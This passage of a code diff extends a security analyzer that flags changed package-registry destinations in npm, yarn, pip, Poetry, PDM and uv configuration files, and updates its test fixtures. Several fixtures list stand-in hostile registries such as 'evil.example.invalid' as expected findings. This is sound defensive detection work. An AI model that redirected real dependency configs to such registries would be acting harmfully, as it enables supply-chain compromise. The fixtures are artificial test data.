| tuple[_YamlNode, _YamlNode]] = field(default_factory=list) + + +@dataclass(slots=True) +class _YamlFrame: + node: _YamlNode + pending_key: _YamlNode | None = None + + +@dataclass(slots=True) +class _TomlTableCursor: + path: tuple[str, ...] + url_span: SourceSpan | None = None + + def _basename(path: str) -> str: return path.rsplit("/", 1)[-1] @@ -183,15 +246,26 @@ def _canonical_destination(ecosystem: DependencyEcosystem, value: str) -> bool: or parsed.username is not None or parsed.password is not None or parsed.port is not None + or parsed.hostname is None + or parsed.netloc.casefold() != parsed.hostname.casefold() or parsed.query or parsed.fragment ): return False except (TypeError, ValueError): return False - if ecosystem is DependencyEcosystem.NPM: - return parsed.netloc.casefold() == "registry.npmjs.org" and parsed.path in {"", "/"} - return parsed.netloc.casefold() == "pypi.org" and parsed.path in {"/simple", "/simple/"} + for literal in _CANONICAL_DEFAULTS.get(ecosystem, frozenset()): + canonical = urlsplit(literal) + canonical_hostname = canonical.hostname + if canonical_hostname is None: + continue + if ( + parsed.scheme.casefold() == canonical.scheme.casefold() + and parsed.hostname.casefold() == canonical_hostname.casefold() + and parsed.path in {canonical.path, canonical.path.removesuffix("/")} + ): + return True + return False def _destination( @@ -200,10 +274,12 @@ def _destination( ) -> tuple[str, DestinationStatus] | None: if _canonical_destination(ecosystem, raw_destination): return None - interpolation = ( - _NPM_INTERPOLATION if ecosystem is DependencyEcosystem.NPM else _PIP_INTERPOLATION - ) - if interpolation.search(raw_destination): + interpolation = { + DependencyEcosystem.NPM: _NPM_INTERPOLATION, + DependencyEcosystem.PIP: _PIP_INTERPOLATION, + DependencyEcosystem.PDM: _PDM_INTERPOLATION, + }.get(ecosystem) + if interpolation is not None and interpolation.search(raw_destination): return "unresolved", DestinationStatus.UNRESOLVED return redact_url(raw_destination), DestinationStatus.RESOLVED @@ -215,10 +291,12 @@ def _candidate_change( ) -> tuple[SourceChange | None, DependencyWorkExhaustion | None]: if exhaustion := budget.charge_source_records(1): return None, exhaustion - literal_bytes = candidate.span.end_byte - candidate.span.start_byte + raw_destination = candidate.destination + if raw_destination is None: + raw_destination = raw[candidate.span.start_byte : candidate.span.end_byte].decode("utf-8") + literal_bytes = len(raw_destination.encode("utf-8")) if exhaustion := budget.charge_retained_literal_bytes(literal_bytes): return None, exhaustion - raw_destination = raw[candidate.span.start_byte : candidate.span.end_byte].decode("utf-8") normalized = _destination(candidate.ecosystem, raw_destination) if normalized is None: return None, None @@ -245,13 +323,14 @@ def _changes_from_candidates( path: str, raw: bytes, budget: DependencyFileBudget, + atomic: bool = False, ) -> DependencySourceParseResult: changes: list[SourceChange] = [] for candidate in candidates: change, exhaustion = _candidate_change(candidate, raw, budget) if exhaustion is not None: return DependencySourceParseResult( - changes=tuple(changes), + changes=() if atomic else tuple(changes), limitations=(_limitation(path, raw, exhaustion),), ) if change is not None: @@ -487,15 +566,831 @@ def _parse_pip( return _changes_from_candidates(candidates, path=path, raw=raw, budget=budget) +def _yarn_v1_tokens(line: str) -> tuple[list[tuple[str, int, int]], bool]: + tokens: list[tuple[str, int, int]] = [] + index = 0 + while index < len(line): + whitespace_start = index + while index < len(line) and line[index].isspace(): + index += 1 + if index >= len(line): + break + if line[index] in {"#", ";"}: + if not tokens or index > whitespace_start: + break + return tokens, True + if len(tokens) == 2: + return tokens, True + if line[index] in {'"', "'"}: + quote = line[index] + start = index + 1 + index += 1 + escaped = False + value: list[str] = [] + while index < len(line): + character = line[index] + if escaped: + value.append(character) + escaped = False + elif character == "\\" and quote == '"': + escaped = True + elif character == quote: + tokens.append(("".join(value), start, index)) + index += 1 + break + else: + value.append(character) + index += 1 + else: + return tokens, True + else: + start = index + while index < len(line) and not line[index].isspace(): + index += 1 + tokens.append((line[start:index], start, index)) + return tokens, False + + +def _parse_yarn_v1( + path: str, + text: str, + raw: bytes, + budget: DependencyFileBudget, +) -> DependencySourceParseResult: + effective: dict[str, _Candidate] = {} + offsets = _line_offsets(text) + for line_number, line in enumerate(_physical_lines(text), start=1): + stripped = line.lstrip() + if not stripped or stripped.startswith(("#", ";")): + continue + tokens, malformed = _yarn_v1_tokens(line) + if not tokens: + continue + key = tokens[0][0] + relevant = key == "registry" or _YARN_SCOPED_REGISTRY.fullmatch(key) is not None + if not relevant: + continue + if malformed or len(tokens) != 2 or not tokens[1][0]: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + if exhaustion := budget.charge_config_nodes(1): + return DependencySourceParseResult(limitations=(_limitation(path, raw, exhaustion),)) + value, start, end = tokens[1] + start_byte, end_byte = _byte_range(line, offsets[line_number - 1], start, end) + effective[key] = _Candidate( + ecosystem=DependencyEcosystem.YARN, + surface=DependencySourceSurface.YARN_CONFIG, + operation=DependencySourceOperation.REPLACE, + scope=( + DependencySourceScope.GLOBAL if key == "registry" else DependencySourceScope.SCOPED + ), + span=SourceSpan(path, start_byte, end_byte, line_number, line_number), + destination=value, + ) + return _changes_from_candidates( + tuple(sorted(effective.values(), key=lambda item: item.span.start_byte)), + path=path, + raw=raw, + budget=budget, + ) + + +def _char_to_byte_offsets(text: str) -> list[int]: + offsets = [0] + current = 0 + for character in text: + current += len(character.encode("utf-8")) + offsets.append(current) + return offsets + + +def _yaml_attach_node( + node: _YamlNode, + stack: list[_YamlFrame], +) -> None: + if not stack: + return + frame = stack[-1] + if frame.node.kind == "sequence": + frame.node.items.append(node) + elif frame.pending_key is None: + frame.pending_key = node + else: + frame.node.items.append((frame.pending_key, node)) + frame.pending_key = None + + +def _yaml_event_tree( + path: str, + text: str, + raw: bytes, + budget: DependencyFileBudget, +) -> tuple[_YamlNode | None, dict[str, _YamlNode], DependencySourceParseResult | None]: + root: _YamlNode | None = None + anchors: dict[str, _YamlNode] = {} + stack: list[_YamlFrame] = [] + try: + events = yaml.parse(text, Loader=yaml.SafeLoader) + for event in events: + if isinstance(event, AliasEvent): + if exhaustion := budget.charge_yaml_aliases(1): + return ( + None, + {}, + DependencySourceParseResult( + limitations=(_limitation(path, raw, exhaustion),) + ), + ) + if exhaustion := budget.charge_config_nodes(1): + return ( + None, + {}, + DependencySourceParseResult( + limitations=(_limitation(path, raw, exhaustion),) + ), + ) + node = _YamlNode( + "alias", + event.start_mark.index, + event.end_mark.index, + event.start_mark.line + 1, + max( + event.start_mark.line + 1, + event.end_mark.line + if event.end_mark.column == 0 + and event.end_mark.index > event.start_mark.index + else event.end_mark.line + 1, + ), + value=event.anchor, + ) + if root is None: + root = node + _yaml_attach_node(node, stack) + continue + if isinstance(event, (ScalarEvent, MappingStartEvent, SequenceStartEvent)): + if exhaustion := budget.charge_config_nodes(1): + return ( + None, + {}, + DependencySourceParseResult( + limitations=(_limitation(path, raw, exhaustion),) + ), + ) + kind = ( + "scalar" + if isinstance(event, ScalarEvent) + else "mapping" + if isinstance(event, MappingStartEvent) + else "sequence" + ) + node = _YamlNode( + kind, + event.start_mark.index, + event.end_mark.index, + event.start_mark.line + 1, + max( + event.start_mark.line + 1, + event.end_mark.line + if event.end_mark.column == 0 + and event.end_mark.index > event.start_mark.index + else event.end_mark.line + 1, + ), + value=event.value if isinstance(event, ScalarEvent) else None, + tag=event.tag, + anchor=event.anchor, + ) + if root is None: + root = node + _yaml_attach_node(node, stack) + if event.anchor is not None: + anchors[event.anchor] = node + if isinstance(event, CollectionStartEvent): + depth = len(stack) + 1 + if exhaustion := budget.observe_depth(depth): + return ( + None, + {}, + DependencySourceParseResult( + limitations=(_limitation(path, raw, exhaustion),) + ), + ) + stack.append(_YamlFrame(node)) + continue + if isinstance(event, (MappingEndEvent, SequenceEndEvent, CollectionEndEvent)): + if not stack: + return ( + None, + {}, + DependencySourceParseResult(limitations=(_limitation(path, raw),)), + ) + frame = stack.pop() + if frame.pending_key is not None: + return ( + None, + {}, + DependencySourceParseResult(limitations=(_limitation(path, raw),)), + ) + except (ScannerError, ParserError, yaml.YAMLError): + return None, {}, DependencySourceParseResult(limitations=(_limitation(path, raw),)) + if stack: + return None, {}, DependencySourceParseResult(limitations=(_limitation(path, raw),)) + return root, anchors, None + + +def _bounded_loaded_object( + value: object, + budget: DependencyFileBudget, +) -> DependencyWorkExhaustion | bool | None: + stack: list[tuple[object, int, frozenset[int]]] = [(value, 1, frozenset())] + seen: set[int] = set() + while stack: + current, depth, ancestors = stack.pop() + if not isinstance(current, (dict, list)): + continue + identity = id(current) + if identity in ancestors: + return True + if identity in seen: + continue + seen.add(identity) + if exhaustion := budget.observe_depth(depth): + return exhaustion + nested_ancestors = ancestors | {identity} + if isinstance(current, dict): + for key, nested in current.items(): + stack.append((key, depth + 1, nested_ancestors)) + stack.append((nested, depth + 1, nested_ancestors)) + else: + for nested in current: + stack.append((nested, depth + 1, nested_ancestors)) + return None + + +def _yaml_resolve(node: _YamlNode, anchors: Mapping[str, _YamlNode]) -> _YamlNode | None: + seen: set[str] = set() + current = node + while current.kind == "alias": + name = current.value + if name is None or name in seen: + return None + seen.add(name) + target = anchors.get(name) + if target is None: + return None + current = target + return current + + +def _yaml_key(node: _YamlNode, anchors: Mapping[str, _YamlNode]) -> str | None: + resolved = _yaml_resolve(node, anchors) + return resolved.value if resolved is not None and resolved.kind == "scalar" else None + + +def _yaml_has_explicit_tag(node: _YamlNode) -> bool: + if node.tag is not None: + return True + for item in node.items: + if isinstance(item, tuple): + if _yaml_has_explicit_tag(item[0]) or _yaml_has_explicit_tag(item[1]): + return True + elif isinstance(item, _YamlNode) and _yaml_has_explicit_tag(item): + return True + return False + + +def _yaml_contains_scalar(node: _YamlNode, value: str) -> bool: + if node.kind == "scalar" and node.value == value: + return True + for item in node.items: + if isinstance(item, tuple): + if _yaml_contains_scalar(item[0], value) or _yaml_contains_scalar(item[1], value): + return True + elif isinstance(item, _YamlNode) and _yaml_contains_scalar(item, value): + return True + return False + + +def _yaml_pairs(node: _YamlNode) -> list[tuple[_YamlNode, _YamlNode]] | None: + if node.kind != "mapping" or not all(isinstance(item, tuple) for item in node.items): + return None + return [item for item in node.items if isinstance(item, tuple)] + + +def _yaml_span( + path: str, + node: _YamlNode, + byte_offsets: Sequence[int], +) -> SourceSpan: + return SourceSpan( + path, + byte_offsets[node.start_char], + byte_offsets[node.end_char], + node.start_line, + node.end_line, + ) + + +def _yaml_candidate( + *, + path: str, + node: _YamlNode, + evidence_node: _YamlNode, + anchors: Mapping[str, _YamlNode], + byte_offsets: Sequence[int], + scope: DependencySourceScope, + semantic_value: object, +) -> _Candidate | None: + resolved = _yaml_resolve(node, anchors) + if ( + resolved is None + or resolved.kind != "scalar" + or resolved.tag is not None + or not isinstance(semantic_value, str) + or not semantic_value + ): + return None + return _Candidate( + ecosystem=DependencyEcosystem.YARN, + surface=DependencySourceSurface.YARN_CONFIG, + operation=DependencySourceOperation.REPLACE, + scope=scope, + span=_yaml_span(path, evidence_node, byte_offsets), + destination=semantic_value, + ) + + +def _parse_yarn_yaml( + path: str, + text: str, + raw: bytes, + budget: DependencyFileBudget, +) -> DependencySourceParseResult: + root, anchors, failure = _yaml_event_tree(path, text, raw, budget) + if failure is not None: + return failure + if root is None or root.kind != "mapping": + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + root_pairs = _yaml_pairs(root) + if root_pairs is None: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + + if any( + _yaml_key(key, anchors) is None + and any( + _yaml_contains_scalar(key, relevant) for relevant in ("npmRegistryServer", "npmScopes") + ) + for key, _value in root_pairs + ): + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + + try: + loaded = yaml.safe_load(text) + except yaml.YAMLError: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + loaded_check = _bounded_loaded_object(loaded, budget) + if loaded_check is True: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + if isinstance(loaded_check, DependencyWorkExhaustion): + return DependencySourceParseResult(limitations=(_limitation(path, raw, loaded_check),)) + if not isinstance(loaded, dict): + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + if any(_yaml_key(key, anchors) == "<<" for key, _value in root_pairs) and any( + relevant in loaded for relevant in ("npmRegistryServer", "npmScopes") + ): + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + + byte_offsets = _char_to_byte_offsets(text) + candidates: list[_Candidate] = [] + top_seen: set[str] = set() + for key_node, value_node in root_pairs: + key = _yaml_key(key_node, anchors) + if key not in {"npmRegistryServer", "npmScopes"}: + continue + if key in top_seen or _yaml_has_explicit_tag(key_node): + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + top_seen.add(key) + if key == "npmRegistryServer": + candidate = _yaml_candidate( + path=path, + node=value_node, + evidence_node=value_node, + anchors=anchors, + byte_offsets=byte_offsets, + scope=DependencySourceScope.GLOBAL, + semantic_value=loaded.get("npmRegistryServer", _MISSING), + ) + if candidate is None: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + candidates.append(candidate) + continue + scopes = _yaml_resolve(value_node, anchors) + if ( + scopes is None + or scopes.kind != "mapping" + or _yaml_has_explicit_tag(value_node) + or _yaml_has_explicit_tag(scopes) + ): + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + scope_pairs = _yaml_pairs(scopes) + if scope_pairs is None: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + loaded_scopes = loaded.get("npmScopes", _MISSING) + if not isinstance(loaded_scopes, dict): + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + scope_seen: set[str] = set() + for scope_key_node, scope_value_node in scope_pairs: + scope_name = _yaml_key(scope_key_node, anchors) + if scope_name is None or scope_name == "<<" or scope_name in scope_seen: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + if scope_name not in loaded_scopes: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + scope_seen.add(scope_name) + scope_mapping = _yaml_resolve(scope_value_node, anchors) + if ( + scope_mapping is None + or scope_mapping.kind != "mapping" + or _yaml_has_explicit_tag(scope_key_node) + or _yaml_has_explicit_tag(scope_value_node) + ): + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + field_pairs = _yaml_pairs(scope_mapping) + if field_pairs is None: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + registry_nodes: list[_YamlNode] = [] + for field_key_node, field_value_node in field_pairs: + field_name = _yaml_key(field_key_node, anchors) + if field_name == "<<" or field_name is None: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + if field_name == "npmRegistryServer": + if registry_nodes or _yaml_has_explicit_tag(field_key_node): + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + registry_nodes.append(field_value_node) + if registry_nodes: + evidence = ( + scope_value_node if scope_value_node.kind == "alias" else registry_nodes[0] + ) + candidate = _yaml_candidate( + path=path, + node=registry_nodes[0], + evidence_node=evidence, + anchors=anchors, + byte_offsets=byte_offsets, + scope=DependencySourceScope.SCOPED, + semantic_value=( + loaded_scopes[scope_name].get("npmRegistryServer", _MISSING) + if isinstance(loaded_scopes[scope_name], dict) + else _MISSING + ), + ) + if candidate is None: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + candidates.append(candidate) + candidates.sort(key=lambda item: item.span.start_byte) + return _changes_from_candidates( + candidates, + path=path, + raw=raw, + budget=budget, + atomic=True, + ) + + +def _toml_key_parts(raw_key: str) -> tuple[str, ...] | None: + parts: list[str] = [] + index = 0 + while index < len(raw_key): + while index < len(raw_key) and raw_key[index].isspace(): + index += 1 + if index >= len(raw_key): + return None + if raw_key[index] in {'"', "'"}: + quote = raw_key[index] + start = index + index += 1 + escaped = False + while index < len(raw_key): + character = raw_key[index] + if escaped: + escaped = False + elif character == "\\" and quote == '"': + escaped = True + elif character == quote: + break + index += 1 + if index >= len(raw_key): + return None + token = raw_key[start : index + 1] + try: + value = json.loads(token) if quote == '"' else token[1:-1] + except (TypeError, ValueError): + return None + index += 1 + else: + match = re.match(r"[A-Za-z0-9_-]+", raw_key[index:]) + if match is None: + return None + value = match.group(0) + index += len(value) + parts.append(value) + while index < len(raw_key) and raw_key[index].isspace(): + index += 1 + if index == len(raw_key): + break + if raw_key[index] != ".": + return None + index += 1 + return tuple(parts) + + +def _toml_find_unquoted(text: str, target: str) -> int | None: + quote: str | None = None + escaped = False + for index, character in enumerate(text): + if quote == '"' and escaped: + escaped = False + continue + if quote == '"' and character == "\\": + escaped = True + continue + if quote is not None: + if character == quote: + quote = None + continue + if character in {'"', "'"}: + quote = character + elif character == target: + return index + return None + + +def _toml_value_extent(text: str, start: int) -> int: + if text.startswith(('"""', "'''"), start): + delimiter = text[start : start + 3] + index = start + 3 + while index < len(text): + if text.startswith(delimiter, index): + return index + 3 + if delimiter == '"""' and text[index] == "\\": + index += 2 + else: + index += 1 + return len(text) + quote: str | None = None + escaped = False + index = start + end = start + while index < len(text) and text[index] not in "\r\n": + character = text[index] + if quote == '"' and escaped: + escaped = False + elif quote == '"' and character == "\\": + escaped = True + elif quote is not None: + if character == quote: + quote = None + elif character in {'"', "'"}: + quote = character + elif character == "#": + break + if not character.isspace() or quote is not None: + end = index + 1 + index += 1 + return end + + +def _toml_url_cursors( + path: str, + text: str, + relevant_paths: frozenset[tuple[str, ...]], +) -> dict[tuple[str, ...], list[_TomlTableCursor]] | None: + cursors: dict[tuple[str, ...], list[_TomlTableCursor]] = { + table_path: [] for table_path in relevant_paths + } + current: _TomlTableCursor | None = None + byte_offsets = _char_to_byte_offsets(text) + position = 0 + while position < len(text): + line_end = text.find("\n", position) + if line_end < 0: + line_end = len(text) + physical_end = ( + line_end - 1 if line_end > position and text[line_end - 1] == "\r" else line_end + ) + line = text[position:physical_end] + stripped = line.lstrip() + leading = len(line) - len(stripped) + if stripped.startswith("[["): + close = stripped.find("]]", 2) + if close < 0: + return None + table_path = _toml_key_parts(stripped[2:close]) + current = None + if table_path in relevant_paths: + current = _TomlTableCursor(table_path) + cursors[table_path].append(current) + elif stripped.startswith("["): + current = None + elif current is not None and stripped and not stripped.startswith("#"): + equals = _toml_find_unquoted(stripped, "=") + if equals is not None and _toml_key_parts(stripped[:equals]) == ("url",): + value_start = position + leading + equals + 1 + while value_start < len(text) and text[value_start] in " \t": + value_start += 1 + value_end = _toml_value_extent(text, value_start) + start_line = text.count("\n", 0, value_start) + 1 + end_line = text.count("\n", 0, value_end) + 1 + if current.url_span is not None or value_end <= value_start: + return None + current.url_span = SourceSpan( + path, + byte_offsets[value_start], + byte_offsets[value_end], + start_line, + end_line, + ) + position = value_end + next_newline = text.find("\n", position) + position = len(text) if next_newline < 0 else next_newline + 1 + continue + position = len(text) if line_end == len(text) else line_end + 1 + return cursors + + +def _toml_lookup(value: object, path: tuple[str, ...]) -> object: + current = value + for part in path: + if not isinstance(current, dict): + return _WRONG_SHAPE + if part not in current: + return _MISSING + current = current[part] + return current + + +def _toml_structural_check( + value: object, + budget: DependencyFileBudget, +) -> DependencyWorkExhaustion | None: + stack: list[tuple[object, int]] = [(value, 1)] + while stack: + current, depth = stack.pop() + if exhaustion := budget.charge_config_nodes(1): + return exhaustion + if isinstance(current, (dict, list)): + if exhaustion := budget.observe_depth(depth): + return exhaustion + if isinstance(current, dict): + for key, nested in current.items(): + stack.append((nested, depth + 1)) + stack.append((key, depth + 1)) + elif isinstance(current, list): + for nested in current: + stack.append((nested, depth + 1)) + return None + + +def _python_candidate( + *, + path: str, + ecosystem: DependencyEcosystem, + operation: DependencySourceOperation, + url: object, + span: SourceSpan | None, +) -> _Candidate | None: + if not isinstance(url, str) or not url or span is None: + return None + return _Candidate( + ecosystem=ecosystem, + surface=DependencySourceSurface.PYTHON_PROJECT_CONFIG, + operation=operation, + scope=DependencySourceScope.PROJECT, + span=span, + destination=url, + ) + + +def _parse_python_project( + path: str, + text: str, + raw: bytes, + budget: DependencyFileBudget, + *, + skip_pyproject_uv: bool, +) -> DependencySourceParseResult: + try: + document = tomllib.loads(text) + except tomllib.TOMLDecodeError: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + if exhaustion := _toml_structural_check(document, budget): + return DependencySourceParseResult(limitations=(_limitation(path, raw, exhaustion),)) + + table_specs: list[tuple[tuple[str, ...], DependencyEcosystem]] + if _basename(path) == "uv.toml": + table_specs = [(("index",), DependencyEcosystem.UV)] + else: + table_specs = [ + (("tool", "poetry", "source"), DependencyEcosystem.POETRY), + (("tool", "pdm", "source"), DependencyEcosystem.PDM), + ] + if not skip_pyproject_uv: + table_specs.append((("tool", "uv", "index"), DependencyEcosystem.UV)) + relevant_paths = frozenset(path_parts for path_parts, _ecosystem in table_specs) + cursors = _toml_url_cursors(path, text, relevant_paths) + if cursors is None: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + + candidates: list[_Candidate] = [] + for table_path, ecosystem in table_specs: + records = _toml_lookup(document, table_path) + if records is _MISSING: + continue + if records is _WRONG_SHAPE: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + if not isinstance(records, list): + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + locations = cursors[table_path] + if not records and not locations: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + if len(locations) != len(records): + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + for record, cursor in zip(records, locations, strict=True): + if not isinstance(record, dict): + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + url = record.get("url", _MISSING) + if not isinstance(url, str) or not url: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + if ecosystem in {DependencyEcosystem.POETRY, DependencyEcosystem.PDM}: + name = record.get("name", _MISSING) + if not isinstance(name, str) or not name: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + if ecosystem is DependencyEcosystem.POETRY: + priority = record.get("priority", "primary") + if priority not in {"primary", "supplemental", "explicit"}: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + operation = ( + DependencySourceOperation.REPLACE + if priority == "primary" + else DependencySourceOperation.ADD + ) + elif ecosystem is DependencyEcosystem.PDM: + operation = ( + DependencySourceOperation.REPLACE + if record["name"] == "pypi" + else DependencySourceOperation.ADD + ) + else: + name = record.get("name", _MISSING) + if name is not _MISSING and (not isinstance(name, str) or not name): + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + default = record.get("default", False) + if type(default) is not bool: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + operation = ( + DependencySourceOperation.REPLACE if default else DependencySourceOperation.ADD + ) + candidate = _python_candidate( + path=path, + ecosystem=ecosystem, + operation=operation, + url=url, + span=cursor.url_span, + ) + if candidate is None: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + candidates.append(candidate) + candidates.sort(key=lambda item: item.span.start_byte) + return _changes_from_candidates( + candidates, + path=path, + raw=raw, + budget=budget, + atomic=True, + ) + + def _parse_file( path: str, text: str, raw: bytes, budget: DependencyFileBudget, + *, + skip_pyproject_uv: bool = False, ) -> DependencySourceParseResult: - if _basename(path) in _NPM_BASENAMES: + basename = _basename(path) + if basename in _NPM_BASENAMES: return _parse_npm(path, text, raw, budget) - return _parse_pip(path, text, raw, budget) + if basename in _PIP_BASENAMES: + return _parse_pip(path, text, raw, budget) + if basename in _YARN_V1_BASENAMES: + return _parse_yarn_v1(path, text, raw, budget) + if basename in _YARN_YAML_BASENAMES: + return _parse_yarn_yaml(path, text, raw, budget) + return _parse_python_project( + path, + text, + raw, + budget, + skip_pyproject_uv=skip_pyproject_uv, + ) def analyze_dependency_sources( @@ -513,9 +1408,13 @@ def analyze_dependency_sources( if isinstance(path, str): inventory_by_path.setdefault(path, []).append(record) + component_paths = {path for path in components if isinstance(path, str)} + uv_directories = { + path.rpartition("/")[0] for path in component_paths if _basename(path) == "uv.toml" + } changes: list[SourceChange] = [] limitations: list[DependencySourceLimitation] = [] - for path in sorted(set(components)): + for path in sorted(component_paths): if not isinstance(path, str) or _basename(path) not in _RECOGNIZED_BASENAMES: continue raw = raw_file_cache.get(path) @@ -543,7 +1442,15 @@ def analyze_dependency_sources( if not isinstance(cached, str) or cached != decoded: limitations.append(_limitation(path, safe_raw)) continue - parsed = _parse_file(path, decoded, safe_raw, file_budget) + parsed = _parse_file( + path, + decoded, + safe_raw, + file_budget, + skip_pyproject_uv=( + _basename(path) == "pyproject.toml" and path.rpartition("/")[0] in uv_directories + ), + ) changes.extend(parsed.changes) limitations.extend(parsed.limitations) diff --git a/tests/nodes/analyzers/data/sc10_controls.json b/tests/nodes/analyzers/data/sc10_controls.json index 01d20ef4..55dc1ac5 100644 --- a/tests/nodes/analyzers/data/sc10_controls.json +++ b/tests/nodes/analyzers/data/sc10_controls.json @@ -70,7 +70,7 @@ }, { "id": "control-poetry-source", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -80,10 +80,10 @@ { "severity": "HIGH", "ecosystem": "poetry", - "surface": "pyproject.toml source", - "operation": "add", - "scope": "evil", - "destination": "https://evil.example.invalid/simple", + "surface": "python-project-config", + "operation": "replace", + "scope": "project", + "destination": "https://evil.example.invalid/REDACTED_PATH", "destination_status": "resolved", "file": "pyproject.toml", "start_line": 3 @@ -220,7 +220,7 @@ }, { "id": "control-yarnrc-canonical-registry", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "inert", "files": { @@ -360,7 +360,7 @@ }, { "id": "control-yarn-scoped-registry", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -370,9 +370,9 @@ { "severity": "HIGH", "ecosystem": "yarn", - "surface": ".yarnrc.yml", + "surface": "yarn-config", "operation": "replace", - "scope": "acme", + "scope": "scoped", "destination": "https://packages.example.invalid", "destination_status": "resolved", "file": ".yarnrc.yml", @@ -382,7 +382,7 @@ }, { "id": "control-yarn-http-registry", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -392,7 +392,7 @@ { "severity": "HIGH", "ecosystem": "yarn", - "surface": ".yarnrc.yml", + "surface": "yarn-config", "operation": "replace", "scope": "global", "destination": "http://packages.example.invalid", @@ -404,7 +404,7 @@ }, { "id": "control-poetry-private-source", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -414,10 +414,10 @@ { "severity": "HIGH", "ecosystem": "poetry", - "surface": "pyproject.toml source", - "operation": "add", - "scope": "private", - "destination": "https://packages.example.invalid/simple", + "surface": "python-project-config", + "operation": "replace", + "scope": "project", + "destination": "https://packages.example.invalid/REDACTED_PATH", "destination_status": "resolved", "file": "pyproject.toml", "start_line": 3 diff --git a/tests/nodes/analyzers/data/sc10_findings.json b/tests/nodes/analyzers/data/sc10_findings.json index ebeed627..a002c0aa 100644 --- a/tests/nodes/analyzers/data/sc10_findings.json +++ b/tests/nodes/analyzers/data/sc10_findings.json @@ -136,7 +136,7 @@ }, { "id": "yarnrc-yaml-flow-style", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -146,9 +146,9 @@ { "severity": "HIGH", "ecosystem": "yarn", - "surface": ".yarnrc.yml", + "surface": "yarn-config", "operation": "replace", - "scope": "acme", + "scope": "scoped", "destination": "https://packages.example.invalid", "destination_status": "resolved", "file": ".yarnrc.yml", @@ -158,7 +158,7 @@ }, { "id": "yarnrc-yaml-quoted-key", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -168,7 +168,7 @@ { "severity": "HIGH", "ecosystem": "yarn", - "surface": ".yarnrc.yml", + "surface": "yarn-config", "operation": "replace", "scope": "global", "destination": "https://packages.example.invalid", @@ -180,7 +180,7 @@ }, { "id": "yarnrc-v1-scoped-quoted-key", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -190,9 +190,9 @@ { "severity": "HIGH", "ecosystem": "yarn", - "surface": ".yarnrc", + "surface": "yarn-config", "operation": "replace", - "scope": "@acme", + "scope": "scoped", "destination": "https://packages.example.invalid", "destination_status": "resolved", "file": ".yarnrc", @@ -202,7 +202,7 @@ }, { "id": "yarnrc-yaml-block-scalar", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -212,7 +212,7 @@ { "severity": "HIGH", "ecosystem": "yarn", - "surface": ".yarnrc.yml", + "surface": "yarn-config", "operation": "replace", "scope": "global", "destination": "https://packages.example.invalid", @@ -225,7 +225,7 @@ }, { "id": "yarnrc-yaml-explicit-alias", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -235,7 +235,7 @@ { "severity": "HIGH", "ecosystem": "yarn", - "surface": ".yarnrc.yml", + "surface": "yarn-config", "operation": "replace", "scope": "global", "destination": "https://packages.example.invalid", @@ -247,7 +247,7 @@ }, { "id": "yarnrc-context-free-registry-key", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "inert", "files": { @@ -257,7 +257,7 @@ }, { "id": "pyproject-uv-index-table", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -267,10 +267,10 @@ { "severity": "HIGH", "ecosystem": "uv", - "surface": "pyproject.toml index", + "surface": "python-project-config", "operation": "replace", - "scope": "private", - "destination": "https://packages.example.invalid/simple", + "scope": "project", + "destination": "https://packages.example.invalid/REDACTED_PATH", "destination_status": "resolved", "file": "pyproject.toml", "start_line": 7 @@ -279,7 +279,7 @@ }, { "id": "uv-toml-index-table", - "status": "unfixed", + "status": "fixed", "lands_in": "PR-1", "expected_outcome": "finding", "files": { @@ -289,10 +289,10 @@ { "severity": "HIGH", "ecosystem": "uv", - "surface": "uv.toml index", + "surface": "python-project-config", "operation": "replace", - "scope": "private", - "destination": "https://packages.example.invalid/simple", + "scope": "project", + "destination": "https://packages.example.invalid/REDACTED_PATH", "destination_status": "resolved", "file": "uv.toml", "start_line": 